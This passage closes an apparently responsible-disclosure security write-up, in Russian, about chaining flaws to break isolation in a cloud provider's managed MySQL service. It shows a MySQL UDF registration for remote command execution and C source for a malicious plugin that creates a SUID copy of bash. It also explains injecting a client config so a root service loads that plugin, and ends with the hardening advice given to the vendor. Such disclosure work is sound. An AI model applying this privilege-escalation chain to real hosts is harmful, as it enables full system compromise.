Перезагружаем базу MySQL для применения измененной конфигурации, чтобы записанная конфигурация применилась и зарегистрированный плагин инициализировался:
|
1 |
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so'; |
Для повышения привилегий до уровня root (LPE) был проанализирован список активных служб. Выяснилось, что служба mysql-watcher.service выполняется с правами администратора и периодически запускает python-скрипт для доступа к MySQL через системный клиент. Для эксплуатации этого процесса был скомпилирован еще один плагин:
|
1 2 3 4 |
#include <stdlib.h> __attribute__((constructor)) static void init(void) { system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash"); } |
Путь к директории с вредоносной библиотекой (файл .so, параметр plugin_dir) и имя плагина аутентификации default-auth=plugname внедряются в секцию [client] конфигурационного файла /etc/mysql/my.cnf. При следующем запуске MySQL-клиента, инициируемом фоновой службой mysql-watcher.service от имени root, на хосте с сервером исполняется описанный выше плагин. Это приводит к выполнению системной команды и созданию копии интерпретатора Bash с установленным битом SUID (/tmp/rbash), что завершает цепочку полной компрометации хоста.
5. Заключение
Инфраструктура облачного провайдера базировалась на собственных разработках, а не на типовых опенсорс-решениях, что сформировало нетривиальную поверхность атаки. В рамках исследования были выявлены и другие уязвимости, которые не вошли в отчет ввиду их стандартного характера. По результатам работы вендору были предоставлены рекомендации, направленные на повышение уровня безопасности. В том числе были описаны меры по изоляции управляемых сервисов по устранению сетевой видимости между ними, применению строгих AppArmor-политик для изоляции процессов сервисов, а также внедрению в практики мониторинга использования потенциально уязвимых сервисов.
























Небезопасный сосед: как цепочка уязвимостей привела к обходу изоляции в облачной инфраструктуре